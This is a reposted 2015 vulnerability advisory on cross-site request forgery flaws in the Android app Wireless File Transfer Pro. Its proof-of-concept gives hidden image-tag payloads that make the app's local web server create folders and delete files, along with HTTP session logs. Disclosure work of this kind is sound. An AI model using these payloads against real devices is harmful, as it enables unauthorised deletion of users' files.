Wireless File Transfer Pro Android - Multiple CSRF Vulnerabilities

2015-05-05T00:00:00
ID SECURITYVULNS:DOC:31974
Type securityvulns
Reporter Securityvulns
Modified 2015-05-05T00:00:00

Description

Document Title:

Wireless File Transfer Pro Android - CSRF Vulnerabilities

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1437

Release Date:

2015-02-25

Vulnerability Laboratory ID (VL-ID):

1437

Common Vulnerability Scoring System:

2.3

Product & Service Introduction:

Wireless File Transfer Pro is the advanced version of Wireless File Transfer.

(Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.lextel.WirelessFileTransferPro )

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered multiple cross site request forgery web vulnerabilities in the Wireless File Transfer Pro v1.0.1 mobile android application.

Vulnerability Disclosure Timeline:

2015-02-25: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Lextel Technology
Product: Wireless File Transfer Pro - (Android) Web Application UI 5.9.5 - 1.0.1

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

Multiple cross site request forgery issues has been discovered in the Wireless File Transfer Pro 1.0.1 android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and local command injection attacks.

Proof of Concept (PoC):

The vulnerabilities can be exploited by remote attackers without privileged application user account and with medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Create New Folder

<img src="http://192.168.1.2:8888/fileExplorer.html?action=create&type=folder&folderName=test1" width="0" height="0" border="0">

--- PoC Session Logs [GET] (Execution) --- GET /fileExplorer.html?action=create&type=folder&folderName=test1 HTTP/1.1 Host: 192.168.1.2:8888 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard Connection: keep-alive

HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4

<a href="#" onclick="actionBrower('/sdcard/test1')">test1</a></td></td><td width="24%"></td><td width="24%">2015-02-09 18:12:19</td><td width="15%">

Delete File, Folder

<img src="http://192.168.1.2:8888/fileExplorer.html?action=deleteFile&fileName=test""width="0" height="0" border="0">

--- PoC Session Logs [GET] (Execution) --- GET /fileExplorer.html?action=deleteFile&fileName=test HTTP/1.1 Host: 192.168.1.2:8888 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2:8888/fileExplorer.html?action=brower&path=/sdcard Connection: keep-alive

HTTP/1.1 200 OK Cache-control: no-cache Content-length: 30

Reference: http://localhost:8888/

Security Risk:

The security risk of the cross site request forgery web vulnerability in the create and delete function is estimated as medium. (CVSS 2.3)

Credits & Authors:

Hadji Samir [s-dz@hotmail.fr]

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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